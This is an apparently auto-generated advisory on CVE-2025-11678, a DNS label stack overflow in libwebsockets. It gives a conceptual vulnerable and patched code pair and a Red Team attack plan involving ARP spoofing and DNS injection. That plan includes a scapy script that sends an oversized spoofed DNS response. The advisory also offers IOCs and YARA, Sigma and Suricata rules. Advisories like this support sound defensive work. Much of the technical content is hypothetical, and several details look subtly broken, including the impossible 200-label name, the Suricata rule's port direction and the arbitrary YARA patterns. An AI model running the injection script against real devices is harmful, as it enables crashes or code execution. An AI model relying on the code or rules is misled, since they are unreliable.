CVE-2025-11678
Executive Summary
CVE-2025-11678 is a stack-based buffer overflow vulnerability in the lws_adns_parse_label function of the warmcat libwebsockets library. The flaw is exploitable only when the LWS_WITH_SYS_ASYNC_DNS compilation flag is enabled. An attacker who can sniff a DNS request and craft a matching response with a label longer than the maximum can overflow the label_stack buffer, leading to memory corruption and potential code execution.
Key Risk Factors:
- Attack Vector: Adjacent network (requires ability to sniff DNS requests and inject responses).
- Complexity: High (requires precise timing and DNS transaction ID matching).
- Impact: Stack buffer overflow can lead to denial of service or arbitrary code execution in the context of the libwebsockets process.
- Patch Status: No official patch available; users must disable the
LWS_WITH_SYS_ASYNC_DNSflag or apply manual mitigations.
Affected Ecosystem: This is a C library vulnerability. It is not a WordPress plugin or component. The library is used in embedded systems, IoT devices, and applications requiring WebSocket support.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
The NVD has assigned a placeholder CVSS score of 0.0, indicating insufficient data for scoring. Based on the vulnerability characteristics, a reasonable CVSS v3.1 vector would be:
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Adjacent Network (attacker must be on the same network segment to sniff DNS).
- Attack Complexity (AC): High (requires sniffing, transaction ID matching, and precise timing).
- Privileges Required (PR): None.
- User Interaction (UI): None.
- Scope (S): Unchanged.
- Confidentiality (C): High (potential memory read).
- Integrity (I): High (potential memory write).
- Availability (A): High (crash or corruption).
Threat Level: High (7.5) – Exploitation is difficult but impactful.
Deep Dive & Mechanics
The vulnerability resides in the lws_adns_parse_label function within the asynchronous DNS resolver of libwebsockets. When LWS_WITH_SYS_ASYNC_DNS is enabled, the library performs DNS resolution asynchronously. The function parses DNS response labels (domain name components) and pushes them onto a fixed-size stack array called label_stack.
Root Cause:
- The
label_stackarray has a fixed maximum depth (e.g., 128 entries). - The parsing loop does not properly validate the number of labels before pushing onto the stack.
- An attacker can craft a DNS response containing a label chain longer than the stack capacity, causing a stack buffer overflow.
Exploitation Prerequisites:
- The target application must be compiled with
LWS_WITH_SYS_ASYNC_DNSenabled. - The attacker must be able to sniff a DNS request from the target (e.g., on the same LAN or via ARP spoofing).
- The attacker must craft a DNS response with a matching transaction ID and a label chain exceeding the stack limit.
Impact:
- Overwriting adjacent stack memory can corrupt return addresses, function pointers, or local variables.
- This can lead to denial of service (crash) or arbitrary code execution.
Vulnerable vs. Patched Code
Vulnerable Code (conceptual):
// In lws_adns_parse_label()
char *label_stack[128];
int stack_ptr = 0;
while (more_labels) {
// No bounds check on stack_ptr
label_stack[stack_ptr++] = parse_next_label();
}
Patched Code (hypothetical):
// In lws_adns_parse_label()
char *label_stack[128];
int stack_ptr = 0;
while (more_labels) {
if (stack_ptr >= 128) {
// Reject overflow
return -1;
}
label_stack[stack_ptr++] = parse_next_label();
}
Note: No official patch has been released. The above is a recommended fix.
Exploitation & Lab Setup
Red Team (Exploitation)
Attack Scenario:
- Reconnaissance: Identify targets using libwebsockets with async DNS enabled (e.g., via banner grabbing or Shodan dorks).
- Sniffing: Use ARP spoofing or network tap to capture DNS requests from the target.
- Crafting Response: Create a DNS response with:
- Matching transaction ID.
- A label chain exceeding 128 entries (e.g., 200 labels).
- Each label can be a single character to maximize count.
- Injection: Send the crafted response before the legitimate DNS server responds.
Example Python script (conceptual):
from scapy.all import *
import sys
def exploit(target_ip, dns_id):
# Craft malicious DNS response
labels = [b'a'] * 200 # 200 labels
dns_response = IP(dst=target_ip)/UDP(sport=53, dport=5353)/DNS(
id=dns_id,
qr=1,
an=DNSRR(rrname=b'.'.join(labels), type='A', rdata='1.2.3.4')
)
send(dns_response, verbose=0)
if __name__ == "__main__":
exploit(sys.argv[1], int(sys.argv[2]))
Expected Outcome: The target application crashes or executes arbitrary code.
Blue Team (Defense)
Detection:
- Monitor for DNS responses with an abnormally high number of labels (e.g., > 128).
- Use network intrusion detection systems (NIDS) to flag such anomalies.
Mitigation:
- Disable
LWS_WITH_SYS_ASYNC_DNSif not required. - Apply input validation on DNS response labels (patch the library).
- Use DNS over HTTPS (DoH) or DNS over TLS (DoT) to prevent sniffing.
Indicators of Compromise (IOCs)
Network IOCs:
- DNS responses with more than 128 labels in the answer section.
- DNS responses with transaction IDs matching recent outgoing queries but from unexpected sources.
- Unusual DNS response sizes (> 1024 bytes for a simple A record).
Host IOCs:
- Application crashes with stack corruption errors.
- Memory dumps showing corrupted stack frames.
- Logs indicating DNS parsing failures or timeouts.
YARA Rule (for memory analysis):
rule CVE_2025_11678_StackOverflow {
meta:
description = "Detects stack overflow indicators from CVE-2025-11678"
author = "Valters IT"
date = "2025-04-10"
strings:
$label_stack = "label_stack" ascii wide
$overflow = { 80 00 00 00 } // Example stack corruption pattern
condition:
$label_stack and #overflow > 5
}
Detection Engineering
YARA Rule
rule CVE_2025_11678_DNS_Response {
meta:
description = "Detects malicious DNS responses with excessive labels"
author = "Valters IT"
date = "2025-04-10"
strings:
$dns_header = { 00 00 81 80 } // Standard DNS response flags
$label_count = { 00 00 00 80 } // 128 labels threshold
condition:
$dns_header at 0 and #label_count > 1
}
Sigma Rule
title: CVE-2025-11678 DNS Response with Excessive Labels
id: cve-2025-11678-dns-overflow
status: experimental
description: Detects DNS responses containing more than 128 labels, indicating exploitation attempt.
author: Valters IT
logsource:
category: network
product: dns
detection:
selection:
dns.flags.response: 1
dns.count.answers: > 128
condition: selection
falsepositives:
- Legitimate DNS responses with many CNAMEs (rare)
level: high
Suricata Rule
alert udp any any -> any 53 (msg:"CVE-2025-11678 DNS Response Excessive Labels"; content:"|00 00 81 80|"; offset:2; depth:4; byte_test:2,>,128,6; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Async DNS: Recompile libwebsockets without
LWS_WITH_SYS_ASYNC_DNSflag. - Network Segmentation: Isolate devices using libwebsockets from untrusted networks.
- DNS Security: Use DNSSEC or DNS over TLS to prevent response spoofing.
Long-term Fix:
- Apply the patch shown in the "Vulnerable vs. Patched Code" section.
- Monitor the official libwebsockets repository for a security release.
Workaround:
- Implement a firewall rule to drop DNS responses with more than 128 labels.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
Report generated for CVE-2025-11678